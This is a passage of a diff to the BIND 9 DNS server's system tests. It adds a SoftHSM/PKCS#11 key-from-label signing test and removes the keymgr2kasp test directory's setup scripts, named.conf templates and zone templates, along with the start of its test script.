+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+parse_openssl_config
+PWD=$(pwd)
+
+keygen() {
+	type="$1"
+	bits="$2"
+	zone="$3"
+	id="$4"
+
+	label="${id}-${zone}"
+	p11id=$(echo "${label}" | openssl sha1 -r | awk '{print $1}')
+	OPENSSL_CONF= pkcs11-tool --module $SOFTHSM2_MODULE --token-label "softhsm2-keyfromlabel" -l -k --key-type $type:$bits --label "${label}" --id "${p11id}" --pin $(cat $PWD/pin) > pkcs11-tool.out.$zone.$id || return 1
+}
+
+keyfromlabel() {
+        alg="$1"
+        zone="$2"
+        id="$3"
+        shift 3
+
+	$KEYFRLAB $ENGINE_ARG -a $alg -l "pkcs11:token=softhsm2-keyfromlabel;object=${id}-${zone};pin-source=$PWD/pin" "$@" $zone >> keyfromlabel.out.$zone.$id  || return 1
+	cat keyfromlabel.out.$zone.$id
+}
+
+status=0
+infile="template.db.in"
+for algtypebits in rsasha256:rsa:2048 rsasha512:rsa:2048 \
+		   ecdsap256sha256:EC:prime256v1 ecdsap384sha384:EC:prime384v1
+		   # Edwards curves are not yet supported by OpenSC
+		   # ed25519:EC:edwards25519 ed448:EC:edwards448
+do
+	alg=$(echo "$algtypebits" | cut -f 1 -d :)
+	type=$(echo "$algtypebits" | cut -f 2 -d :)
+	bits=$(echo "$algtypebits" | cut -f 3 -d :)
+
+	if $SHELL ../testcrypto.sh $alg; then
+		zone="$alg.example"
+		zonefile="zone.$alg.example.db"
+		ret=0
+
+		echo_i "Generate keys $alg $type:$bits for zone $zone"
+		keygen $type $bits $zone keyfromlabel-zsk || ret=1
+		keygen $type $bits $zone keyfromlabel-ksk || ret=1
+		test "$ret" -eq 0 || echo_i "failed"
+		status=$((status+ret))
+
+		# Skip dnssec-keyfromlabel if key generation failed.
+		test $ret -eq 0 || continue
+
+		echo_i "Get ZSK $alg $zone $type:$bits"
+		ret=0
+		zsk=$(keyfromlabel $alg $zone keyfromlabel-zsk)
+		test -z "$zsk" && ret=1
+		test "$ret" -eq 0 || echo_i "failed (zsk=$zsk)"
+		status=$((status+ret))
+
+		echo_i "Get KSK $alg $zone $type:$bits"
+		ret=0
+		ksk=$(keyfromlabel $alg $zone keyfromlabel-ksk -f KSK)
+		test -z "$ksk" && ret=1
+		test "$ret" -eq 0 || echo_i "failed (ksk=$ksk)"
+		status=$((status+ret))
+
+		# Skip signing if dnssec-keyfromlabel failed.
+		test $ret -eq 0 || continue
+
+		echo_i "Sign zone with $ksk $zsk"
+		ret=0
+		cat "$infile" "$ksk.key" "$zsk.key" > "$zonefile"
+		$SIGNER $ENGINE_ARG -S -a -g -o "$zone" "$zonefile" > signer.out.$zone || ret=1
+		test "$ret" -eq 0 || echo_i "failed"
+		status=$((status+ret))
+	fi
+done
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/keyfromlabel/tests_sh_keyfromlabel.py b/bin/tests/system/keyfromlabel/tests_sh_keyfromlabel.py
new file mode 100644
index 0000000000..9cbf56e125
--- /dev/null
+++ b/bin/tests/system/keyfromlabel/tests_sh_keyfromlabel.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_keyfromlabel(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/keymgr2kasp/README b/bin/tests/system/keymgr2kasp/README
deleted file mode 100644
index b7a36823e9..0000000000
--- a/bin/tests/system/keymgr2kasp/README
+++ /dev/null
@@ -1,10 +0,0 @@
-Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
-
-The test setup for migrating to KASP tests.
-
-ns3 is an authoritative server for the various test domains.
-
-ns4 is an authoritative server that tests a specific case where zones
-using views migrate to dnssec-policy.
diff --git a/bin/tests/system/keymgr2kasp/clean.sh b/bin/tests/system/keymgr2kasp/clean.sh
deleted file mode 100644
index 38c68f0a5b..0000000000
--- a/bin/tests/system/keymgr2kasp/clean.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-rm -f ns*/K*.private ns*/K*.key ns*/K*.state
-rm -f ns*/named.conf ns*/kasp.conf
-rm -f ns*/named.memstats ns*/named.run
-rm -f ns*/keygen.out* ns*/signer.out*
-rm -f ns*/zones
-rm -f ns*/dsset-*
-rm -f ns*/*.db ns*/*.db.jnl ns*/*.db.jbk
-rm -f ns*/*.db.signed* ns*/*.db.infile
-rm -f ns*/managed-keys.bind*
-rm -f ns*/*.mkeys*
-rm -f ./*.created
-rm -f ./created.key-*
-rm -f ./dig.out*
-rm -f ./python.out.*
-rm -f ./retired.*
-rm -f ./rndc.dnssec.*
-rm -f ./unused.key*
-
diff --git a/bin/tests/system/keymgr2kasp/ns3/kasp.conf.in b/bin/tests/system/keymgr2kasp/ns3/kasp.conf.in
deleted file mode 100644
index f315e2764b..0000000000
--- a/bin/tests/system/keymgr2kasp/ns3/kasp.conf.in
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-dnssec-policy "migrate" {
-	dnskey-ttl 7200;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
-	};
-};
-
-dnssec-policy "timing-metadata" {
-	dnskey-ttl 300;
-
-	signatures-refresh P1W;
-	signatures-validity P2W;
-	signatures-validity-dnskey P2W;
-
-	keys {
-		ksk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
-		zsk key-directory lifetime P60D algorithm @DEFAULT_ALGORITHM@;
-	};
-
-	// Together 12h
-	zone-propagation-delay 3600;
-	max-zone-ttl 11h;
-
-	// Together 3h
-	parent-propagation-delay pt1h;
-	parent-ds-ttl 7200;
-};
-
-/*
- * This policy tests migration from existing keys with 1024 bits RSASHA1 keys
- * to ECDSAP256SHA256 keys.
- */
-dnssec-policy "migrate-nomatch-algnum" {
-	dnskey-ttl 300;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm ecdsa256;
-		zsk key-directory lifetime P60D algorithm ecdsa256;
-	};
-
-	// Together 12h
-	zone-propagation-delay 3600;
-	max-zone-ttl 11h;
-
-	// Together 3h
-	parent-propagation-delay pt1h;
-	parent-ds-ttl 7200;
-};
-
-/*
- * This policy tests migration from existing keys with 1024 bits RSASHA1 keys
- * to 2048 bits RSASHA1 keys.
- */
-dnssec-policy "migrate-nomatch-alglen" {
-	dnskey-ttl 300;
-
-	keys {
-		ksk key-directory lifetime unlimited algorithm rsasha1 2048;
-		zsk key-directory lifetime P60D algorithm rsasha1 2048;
-	};
-
-	// Together 12h
-	zone-propagation-delay 3600;
-	max-zone-ttl 11h;
-
-	// Together 3h
-	parent-propagation-delay pt1h;
-	parent-ds-ttl 7200;
-};
diff --git a/bin/tests/system/keymgr2kasp/ns3/named.conf.in b/bin/tests/system/keymgr2kasp/ns3/named.conf.in
deleted file mode 100644
index 13652fde5d..0000000000
--- a/bin/tests/system/keymgr2kasp/ns3/named.conf.in
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-// NS3
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-	key-directory ".";
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-/* These are zones that migrate to dnssec-policy. */
-zone "migrate.kasp" {
-	type primary;
-	file "migrate.kasp.db";
-	auto-dnssec maintain;
-	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-};
-
-zone "rumoured.kasp" {
-	type primary;
-	file "rumoured.kasp.db";
-	auto-dnssec maintain;
-	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-};
-
-zone "omnipresent.kasp" {
-	type primary;
-	file "omnipresent.kasp.db";
-	auto-dnssec maintain;
-	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-};
-
-zone "migrate-nomatch-algnum.kasp" {
-	type primary;
-	file "migrate-nomatch-algnum.kasp.db";
-	auto-dnssec maintain;
-	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-};
-
-zone "migrate-nomatch-alglen.kasp" {
-	type primary;
-	file "migrate-nomatch-alglen.kasp.db";
-	auto-dnssec maintain;
-	allow-update { any; };
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
-};
diff --git a/bin/tests/system/keymgr2kasp/ns3/named2.conf.in b/bin/tests/system/keymgr2kasp/ns3/named2.conf.in
deleted file mode 100644
index 6a7953ae69..0000000000
--- a/bin/tests/system/keymgr2kasp/ns3/named2.conf.in
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-// NS3
-
-include "kasp.conf";
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-/* These are zones that migrate to dnssec-policy. */
-zone "migrate.kasp" {
-	type primary;
-	file "migrate.kasp.db";
-	allow-update { any; };
-	dnssec-policy "migrate";
-};
-
-zone "rumoured.kasp" {
-	type primary;
-	file "rumoured.kasp.db";
-	allow-update { any; };
-	dnssec-policy "timing-metadata";
-};
-
-zone "omnipresent.kasp" {
-	type primary;
-	file "omnipresent.kasp.db";
-	allow-update { any; };
-	dnssec-policy "timing-metadata";
-};
-
-zone "migrate-nomatch-algnum.kasp" {
-	type primary;
-	file "migrate-nomatch-algnum.kasp.db";
-	allow-update { any; };
-	dnssec-policy "migrate-nomatch-algnum";
-};
-
-zone "migrate-nomatch-alglen.kasp" {
-	type primary;
-	file "migrate-nomatch-alglen.kasp.db";
-	allow-update { any; };
-	dnssec-policy "migrate-nomatch-alglen";
-};
diff --git a/bin/tests/system/keymgr2kasp/ns3/setup.sh b/bin/tests/system/keymgr2kasp/ns3/setup.sh
deleted file mode 100644
index 1bb89ad37b..0000000000
--- a/bin/tests/system/keymgr2kasp/ns3/setup.sh
+++ /dev/null
@@ -1,121 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../../conf.sh
-
-echo_i "ns3/setup.sh"
-
-setup() {
-	zone="$1"
-	echo_i "setting up zone: $zone"
-	zonefile="${zone}.db"
-	infile="${zone}.db.infile"
-}
-
-private_type_record() {
-	_zone=$1
-	_algorithm=$2
-	_keyfile=$3
-
-	_id=$(keyfile_to_key_id "$_keyfile")
-
-	printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id"
-}
-
-
-# Make lines shorter by storing key states in environment variables.
-H="HIDDEN"
-R="RUMOURED"
-O="OMNIPRESENT"
-U="UNRETENTIVE"
-
-# Set up a zone with auto-dnssec maintain to migrate to dnssec-policy.
-setup migrate.kasp
-echo "$zone" >> zones
-ksktimes="-P now -A now -P sync now"
-zsktimes="-P now -A now"
-KSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 7200 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 7200        $zsktimes $zone 2> keygen.out.$zone.2)
-cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
-
-# Set up a zone with auto-dnssec maintain to migrate to dnssec-policy, but this
-# time the existing keys do not match the policy.  The existing keys are
-# RSASHA1 keys, and will be migrated to a dnssec-policy that dictates
-# ECDSAP256SHA256 keys.
-setup migrate-nomatch-algnum.kasp
-echo "$zone" >> zones
-Tds="now-3h"     # Time according to dnssec-policy that DS will be OMNIPRESENT
-Tkey="now-3900s" # DNSKEY TTL + propagation delay
-Tsig="now-12h"   # Zone's maximum TTL + propagation delay
-ksktimes="-P ${Tkey} -A ${Tkey} -P sync ${Tds}"
-zsktimes="-P ${Tkey} -A ${Tsig}"
-KSK=$($KEYGEN -a RSASHA1 -b 2048 -L 300 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a RSASHA1 -b 1024 -L 300        $zsktimes $zone 2> keygen.out.$zone.2)
-cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone 5 "$KSK" >> "$infile"
-private_type_record $zone 5 "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
-
-# Set up a zone with auto-dnssec maintain to migrate to dnssec-policy, but this
-# time the existing keys do not match the policy.  The existing keys are
-# 1024 bits RSASHA1 keys, and will be migrated to a dnssec-policy that
-# dictates 2048 bits RSASHA1 keys.
-setup migrate-nomatch-alglen.kasp
-echo "$zone" >> zones
-Tds="now-3h"     # Time according to dnssec-policy that DS will be OMNIPRESENT
-Tkey="now-3900s" # DNSKEY TTL + propagation delay
-Tsig="now-12h"   # Zone's maximum TTL + propagation delay
-ksktimes="-P ${Tkey} -A ${Tkey} -P sync ${Tds}"
-zsktimes="-P ${Tkey} -A ${Tsig}"
-KSK=$($KEYGEN -a RSASHA1 -b 1024 -L 300 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a RSASHA1 -b 1024 -L 300        $zsktimes $zone 2> keygen.out.$zone.2)
-cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone 5 "$KSK" >> "$infile"
-private_type_record $zone 5 "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
-
-#
-# Set up zones to test time metadata correctly sets state.
-#
-
-# Key states expected to be rumoured after migration.
-setup rumoured.kasp
-echo "$zone" >> zones
-Tds="now-2h"
-Tkey="now-300s"
-Tsig="now-11h"
-ksktimes="-P ${Tkey} -A ${Tkey} -P sync ${Tds}"
-zsktimes="-P ${Tkey} -A ${Tsig}"
-KSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 300 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 300        $zsktimes $zone 2> keygen.out.$zone.2)
-cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
-
-# Key states expected to be omnipresent after migration.
-setup omnipresent.kasp
-echo "$zone" >> zones
-Tds="now-3h"     # Time according to dnssec-policy that DS will be OMNIPRESENT
-Tkey="now-3900s" # DNSKEY TTL + propagation delay
-Tsig="now-12h"   # Zone's maximum TTL + propagation delay
-ksktimes="-P ${Tkey} -A ${Tkey} -P sync ${Tds}"
-zsktimes="-P ${Tkey} -A ${Tsig}"
-KSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 300 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a $DEFAULT_ALGORITHM -L 300        $zsktimes $zone 2> keygen.out.$zone.2)
-cat template.db.in "${KSK}.key" "${ZSK}.key" > "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK" >> "$infile"
-private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
-$SIGNER -S -x -s now-1h -e now+2w -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
diff --git a/bin/tests/system/keymgr2kasp/ns3/template.db.in b/bin/tests/system/keymgr2kasp/ns3/template.db.in
deleted file mode 100644
index 051a312891..0000000000
--- a/bin/tests/system/keymgr2kasp/ns3/template.db.in
+++ /dev/null
@@ -1,25 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-@		IN	SOA  mname1. . (
-			1       ; serial
-			20      ; refresh (20 seconds)
-			20      ; retry (20 seconds)
-			1814400 ; expire (3 weeks)
-			3600    ; minimum (1 hour)
-			)
-
-			NS	ns3
-ns3			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-c			A	10.0.0.3
-
diff --git a/bin/tests/system/keymgr2kasp/ns4/named.conf.in b/bin/tests/system/keymgr2kasp/ns4/named.conf.in
deleted file mode 100644
index a74f3851cc..0000000000
--- a/bin/tests/system/keymgr2kasp/ns4/named.conf.in
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-// NS4
-
-options {
-	query-source address 10.53.0.4;
-	notify-source 10.53.0.4;
-	transfer-source 10.53.0.4;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.4; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-	key-directory ".";
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-key "external" {
-	algorithm "hmac-sha1";
-	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
-};
-
-key "internal" {
-	algorithm "hmac-sha1";
-	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
-};
-
-view "ext" {
-        match-clients { key "external"; };
-
-	zone "view-rsasha256.kasp" {
-		type master;
-		file "view-rsasha256.kasp.ext.db";
-		auto-dnssec maintain;
-		inline-signing yes;
-		dnssec-dnskey-kskonly yes;
-		update-check-ksk yes;
-	};
-};
-
-view "int" {
-        match-clients { key "internal"; };
-
-	zone "view-rsasha256.kasp" {
-		type master;
-		file "view-rsasha256.kasp.int.db";
-		auto-dnssec maintain;
-		inline-signing yes;
-		dnssec-dnskey-kskonly yes;
-		update-check-ksk yes;
-	};
-};
diff --git a/bin/tests/system/keymgr2kasp/ns4/named2.conf.in b/bin/tests/system/keymgr2kasp/ns4/named2.conf.in
deleted file mode 100644
index d9a23f8657..0000000000
--- a/bin/tests/system/keymgr2kasp/ns4/named2.conf.in
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-// NS4
-
-options {
-	query-source address 10.53.0.4;
-	notify-source 10.53.0.4;
-	transfer-source 10.53.0.4;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.4; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-	key-directory ".";
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-dnssec-policy "rsasha256" {
-	keys {
-		zsk key-directory lifetime P3M algorithm 8 1024;
-		ksk key-directory lifetime P1Y algorithm 8 2048;
-	};
-
-	dnskey-ttl 300;
-	publish-safety 1h;
-	retire-safety 1h;
-
-	signatures-refresh 5d;
-	signatures-validity 14d;
-	signatures-validity-dnskey 14d;
-
-	max-zone-ttl 1d;
-	zone-propagation-delay 300;
-
-	parent-ds-ttl 86400;
-	parent-propagation-delay 3h;
-};
-
-key "external" {
-	algorithm "hmac-sha1";
-	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
-};
-
-key "internal" {
-	algorithm "hmac-sha1";
-	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
-};
-
-view "ext" {
-        match-clients { key "external"; };
-
-	zone "view-rsasha256.kasp" {
-		type master;
-		file "view-rsasha256.kasp.ext.db";
-		dnssec-policy "rsasha256";
-	};
-};
-
-view "int" {
-        match-clients { key "internal"; };
-
-	zone "view-rsasha256.kasp" {
-		type master;
-		file "view-rsasha256.kasp.int.db";
-		dnssec-policy "rsasha256";
-	};
-};
diff --git a/bin/tests/system/keymgr2kasp/ns4/setup.sh b/bin/tests/system/keymgr2kasp/ns4/setup.sh
deleted file mode 100644
index 148de97570..0000000000
--- a/bin/tests/system/keymgr2kasp/ns4/setup.sh
+++ /dev/null
@@ -1,54 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../../conf.sh
-
-echo_i "ns4/setup.sh"
-
-private_type_record() {
-	_zone=$1
-	_algorithm=$2
-	_keyfile=$3
-
-	_id=$(keyfile_to_key_id "$_keyfile")
-
-	printf "%s. 0 IN TYPE65534 %s 5 %02x%04x0000\n" "$_zone" "\\#" "$_algorithm" "$_id"
-}
-
-# Make lines shorter by storing key states in environment variables.
-H="HIDDEN"
-R="RUMOURED"
-O="OMNIPRESENT"
-U="UNRETENTIVE"
-
-zone="view-rsasha256.kasp"
-algo="RSASHA256"
-num="8"
-echo "$zone" >> zones
-
-# Set up zones in views with auto-dnssec maintain to migrate to dnssec-policy.
-# The keys for these zones are in use long enough that they should start a
-# rollover for the ZSK (P3M), but not long enough to initiate a KSK rollover (P1Y).
-ksktimes="-P -186d -A -186d -P sync -186d"
-zsktimes="-P -186d -A -186d"
-KSK=$($KEYGEN -a $algo -L 300 -b 2048 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
-ZSK=$($KEYGEN -a $algo -L 300 -b 1024        $zsktimes $zone 2> keygen.out.$zone.2)
-
-echo_i "setting up zone $zone (external)"
-view="ext"
-zonefile="${zone}.${view}.db"
-cat template.$view.db.in "${KSK}.key" "${ZSK}.key" > "$zonefile"
-
-echo_i "setting up zone $zone (internal)"
-view="int"
-zonefile="${zone}.${view}.db"
-cat template.$view.db.in "${KSK}.key" "${ZSK}.key" > "$zonefile"
diff --git a/bin/tests/system/keymgr2kasp/ns4/template.ext.db.in b/bin/tests/system/keymgr2kasp/ns4/template.ext.db.in
deleted file mode 100644
index 210d7b60c3..0000000000
--- a/bin/tests/system/keymgr2kasp/ns4/template.ext.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-@		IN	SOA  mname1. . (
-			1       ; serial
-			20      ; refresh (20 seconds)
-			20      ; retry (20 seconds)
-			1814400 ; expire (3 weeks)
-			3600    ; minimum (1 hour)
-			)
-
-			NS	ns4
-ns4			A	10.53.0.4
-
-view			TXT	"external"
diff --git a/bin/tests/system/keymgr2kasp/ns4/template.int.db.in b/bin/tests/system/keymgr2kasp/ns4/template.int.db.in
deleted file mode 100644
index 3f018d7c6c..0000000000
--- a/bin/tests/system/keymgr2kasp/ns4/template.int.db.in
+++ /dev/null
@@ -1,22 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-@		IN	SOA  mname1. . (
-			1       ; serial
-			20      ; refresh (20 seconds)
-			20      ; retry (20 seconds)
-			1814400 ; expire (3 weeks)
-			3600    ; minimum (1 hour)
-			)
-
-			NS	ns4
-ns4			A	10.53.0.4
-
-view			TXT	"internal"
diff --git a/bin/tests/system/keymgr2kasp/setup.sh b/bin/tests/system/keymgr2kasp/setup.sh
deleted file mode 100644
index 9bd4bfbe7b..0000000000
--- a/bin/tests/system/keymgr2kasp/setup.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/bin/sh -e
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../conf.sh
-
-set -e
-
-$SHELL clean.sh
-
-copy_setports ns3/named.conf.in ns3/named.conf
-copy_setports ns4/named.conf.in ns4/named.conf
-
-copy_setports ns3/kasp.conf.in ns3/kasp.conf
-
-# Setup zones
-(
-	cd ns3
-	$SHELL setup.sh
-)
-(
-	cd ns4
-	$SHELL setup.sh
-)
diff --git a/bin/tests/system/keymgr2kasp/tests.sh b/bin/tests/system/keymgr2kasp/tests.sh
deleted file mode 100644
index 342b000bdf..0000000000
--- a/bin/tests/system/keymgr2kasp/tests.sh
+++ /dev/null
@@ -1,948 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# shellcheck source=conf.sh
-. ../conf.sh
-# shellcheck source=kasp.sh
-. ../kasp.sh
-
-start_time="$(TZ=UTC date +%s)"
-status=0
-n=0
-
-###############################################################################
-# Utilities                                                                   #
-###############################################################################
-
-# Call dig with default options.
-dig_with_opts() {
-
-	if [ -n "$TSIG" ]; then
-		"$DIG" +tcp +noadd +nosea +nostat +nocmd +dnssec -p "$PORT" -y "$TSIG" "$@"
-	else
-		"$DIG" +tcp +noadd +nosea +nostat +nocmd +dnssec -p "$PORT" "$@"
-	fi
-}
-
-# Log error and increment failure rate.
-log_error() {
-	echo_i "error: $1"
-	ret=$((ret+1))
-}
-
-# Default next key event threshold. May be extended by wait periods.
-next_key_event_threshold=100
-
-###############################################################################
-# Tests                                                                       #
-###############################################################################
-
-set_retired_removed() {
-	_Lkey=$2
-	_Iret=$3
-
